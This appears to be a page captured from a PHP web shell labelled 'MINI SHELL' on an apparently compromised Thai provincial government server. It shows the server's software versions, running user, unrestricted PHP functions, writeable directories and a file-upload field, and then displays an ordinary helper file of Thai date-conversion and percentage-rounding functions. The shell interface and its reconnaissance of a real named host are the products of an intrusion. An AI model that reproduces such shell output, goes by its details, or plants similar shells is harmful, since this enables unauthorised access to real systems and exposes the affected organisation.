MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /home/pathumthani_integration/integration/application/pauper_surway/function/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/pathumthani_integration/integration/application/pauper_surway/function/function.inc.php
<?php
/*function searchReplace($key="", $data = ""){
	//return 'test';
	//exit();
	$arrS = explode(" ",$key);
	$search = array();
	$replace = array();
	if(is_array($arrS)){
		foreach($arrS as $value){
				$replace[] = '<span style="background:#FFCC99;">'.$value.'</span>';
		}
	}else{
		$replace[] = '<span style="background:#FFCC99;">'.$key.'</span>';
	}
	$search[] = $key;
	$data_replace = str_replace($search, $replace, $data);
	return $data_replace;
	//return 'test';
}*/
function getmicrotime(){ 
    list($usec, $sec) = explode(" ",microtime()); 
    return ((float)$usec + (float)$sec); 
 } 

function dateFormat($value,$type){
	if($value == "0000-00-00")
	{
		return "-";
	}
	if($type=="engthai"){

		$day = explode("-",$value);
		$date = $day[2].'-'.$day[1].'-'.($day[0]+543);

	}else if($type=="thaieng"){

		$day = explode("-",$value);
		$date = ($day[2]-543).'-'.$day[1].'-'.$day[0];

	}else if($type=="thaidot"){

		$Month = array("", "ม.ค.", "ก.พ.", "มี.ค.", "เม.ย.", "พ.ค.", "มิ.ย.", "ก.ค.", "ส.ค.", "ก.ย.", "ต.ค.", "พ.ย.", "ธ.ค.");
		$day = explode("-",$value);
		$Y = $day[0];
		$m = $day[1];
		if($m<10){
			$m = str_replace("0","",$m);
		}
		$d = $day[2]*1;
		$date = $d.' '.$Month[$m].' '.($Y+543);

	}else if($type==""){

		$date = explode("-",$value);

	}

	return $date;
}

function dateKeyToMySqlDate($d)
{
	$d2 = explode("/",$d);
	if(count($d2) < 3)
	{
		return '';
	}

	$d3[0] = $d2[2]-543;
	$d3[1] = $d2[1];
	$d3[2] = $d2[0];

	return implode("-",$d3);
}

function mySqlDateToDateKey($d,$format='')
{
	$d2 = explode("-",$d);
	if(count($d2) < 3 || $d=='0000-00-00')
	{
		return '';
	}

	$d3[1] = $d2[2];
	$d3[2] = $d2[1];
	$d3[3] = $d2[0]+543;

	$d4;
	if($format=='thaidot')
	{
		$d4 = implode("/",$d3);
		$d4 = dateFormat($d4,$format);
	}
	else
	{
		$d4 = implode("/",$d3);
	}

	return $d4;
}

function to_mysqldate($d)
{
	return dateKeyToMySqlDate($d);
}

function to_keydate($d,$format='')
{
	return mySqlDateToDateKey($d,$format);
}

function make_link($url,$arr,$linkname)
{
	if(isset($url)> 0)
	{
		if($linkname > 0)
		{
			$tagopen = "<a href='".$url."?action=0";
			$tagclose = "</a>";
			$link;
			foreach($arr as $keyname => $keyvalue)
			{
				$link .= "&".$keyname."=".$keyvalue;
			}
			$link .= "' target='_blank'>";

			$linkname = number_format($linkname,0,'',",");

			return $tagopen.$link.$linkname.$tagclose;
		}
		else
		{
			return $linkname;
		}
	}
	else
	{
		return 'funtion : make_link --> error';
	}
}

function chkDateReturn($dateReturn,$dateNow){

		list($Ryear , $Rmonth ,$Rday ) = explode("-" , $dateReturn);
		list($Nyear , $Nmonth , $Nday) = explode("-" , $dateNow);
		if($Ryear < 1970){
			$Ryear =1970;
		}
		$ReturnTime = mktime(0,0,0,(int)$Rmonth,(int)$Rday,(int)$Ryear);
		$NowTime = mktime(0,0,0,(int)$Nmonth,(int)$Nday,(int)$Nyear);
		$diffTime=$ReturnTime-$NowTime;
		$numDate=$diffTime/3600/24;

		if($numDate < 0){
				return 2;
		}else if($numDate >= 0 && $numDate <= 30){
				return 1;
		}
		return 0;
}

	function percentage ( $arrVal, $intDec=2, $intPercent=100 ) {
		if ( $arrVal && is_array($arrVal) ) {
			#shwArray($arrVal);

			$SumOfVal = array_sum($arrVal); #echo "Total of Value is : ".$SumOfVal."<br>";
			
			foreach ( $arrVal as $Key => $Val ) {
				$arrVal[$Key] = number_format((($Val * $intPercent) / $SumOfVal), $intDec + 1); // จำนวนร้อยละ ทศนิยม +1

				// ชุดตัวแปร Array ร้อยละ จำนวนหลักทศนิยม
				if ( substr($arrVal[$Key], -1, 1) < 5 ) { # A2
					$arrA2Ori[$Key] = $arrVal[$Key];
					$arrA2[$Key] = number_format($arrVal[$Key], $intDec);
					$Ref = explode(".", $arrA2[$Key]);
					$arrA2LastChar[$Key] = substr($arrA2Ori[$Key], -1, 1);
				} else { # A1
					$arrA1Ori[$Key] = $arrVal[$Key];
					$arrA1[$Key] = number_format($arrVal[$Key], $intDec);
					$Ref = explode(".", $arrA1[$Key]);
					$arrA1LastChar[$Key] = substr($arrA1Ori[$Key], -1, 1);
				}
				
				$arrVInt[$Key] = $Ref[0]; // ชุดตัวแปรจำนวนเต็ม (ตัดทศนิยมทิ้ง)
				$arrVDec[$Key] = $Ref[1]; // ชุดตัวแปรจำนวนทศนิยม
				
			}
			
			#shwArray($arrVal);
			
			$x0 = array_sum($arrVInt);			#echo "x0 = ".$x0."<br>";
			$x1 = $intPercent - $x0;				#echo "x1 = ".$x1."<br>";
			$x2 = ($x1 * pow(10, $intDec));	#echo "x2 = ".$x2."<br>";
			$x3 = array_sum($arrVDec);			#echo "x3 = ".$x3."<br>";
			$x4 = $x3 - $x2;							#echo "x4 = ".$x4."<br>";
			
			#shwArray($arrA1Ori);
			#shwArray($arrA2Ori);
			//echo (count($arrA1LastChar));
			
			if(count($arrA1LastChar) > 0)
			{
				arsort($arrA1LastChar);
			}

			if(count($arrA2LastChar) > 0)
			{
				arsort($arrA2LastChar);
			}
			#shwArray($arrA1LastChar);
			#shwArray($arrA2LastChar);
			
			#shwArray($arrA1);
			#shwArray($arrA2);
			if ( $x4 == 0 ) {
				
				if(is_array($arrA1))
				{
					foreach ( $arrA1 as $Key => $Val ) 
					{
						$arrResult[$Key] = $arrA1[$Key];
					}
				}
				if(is_array($arrA2))
				{
					foreach ( $arrA2 as $Key => $Val ) 
					{
						$arrResult[$Key] = $arrA2[$Key];
					}
				}
			} elseif ( $x4 > 0 ) {
				$intA = 1;
				foreach ( $arrA1LastChar as $Key => $Val ) {
					if ( $intA <= (count($arrA1Ori) - $x4) ) $arrResult[$Key] = $arrA1[$Key]; else $arrResult[$Key] = substr($arrA1Ori[$Key], 0, strlen($arrA1Ori[$Key]) - 1);
					$intA++;
				}
				
				foreach ( $arrA2 as $Key => $Val ) $arrResult[$Key] = $arrA2[$Key];
			} elseif ( $x4 < 0 ) {
				$intA = 1;
				foreach ( $arrA2LastChar as $Key => $Val ) {
					if ( $intA <= abs($x4) ) $arrResult[$Key] = $arrA2[$Key] + 1/(pow(10, $intDec)); else $arrResult[$Key] = $arrA2[$Key];
					$intA++;
				}
				
				foreach ( $arrA1 as $Key => $Val ) $arrResult[$Key] = $arrA1[$Key];
			}
			
			#shwArray($arrResult);
			#echo "Total of Percent is : ".number_format(array_sum($arrResult), 2)."<br>";
			
			return $arrResult;
		}
	}	
?>

Anon7 - 2021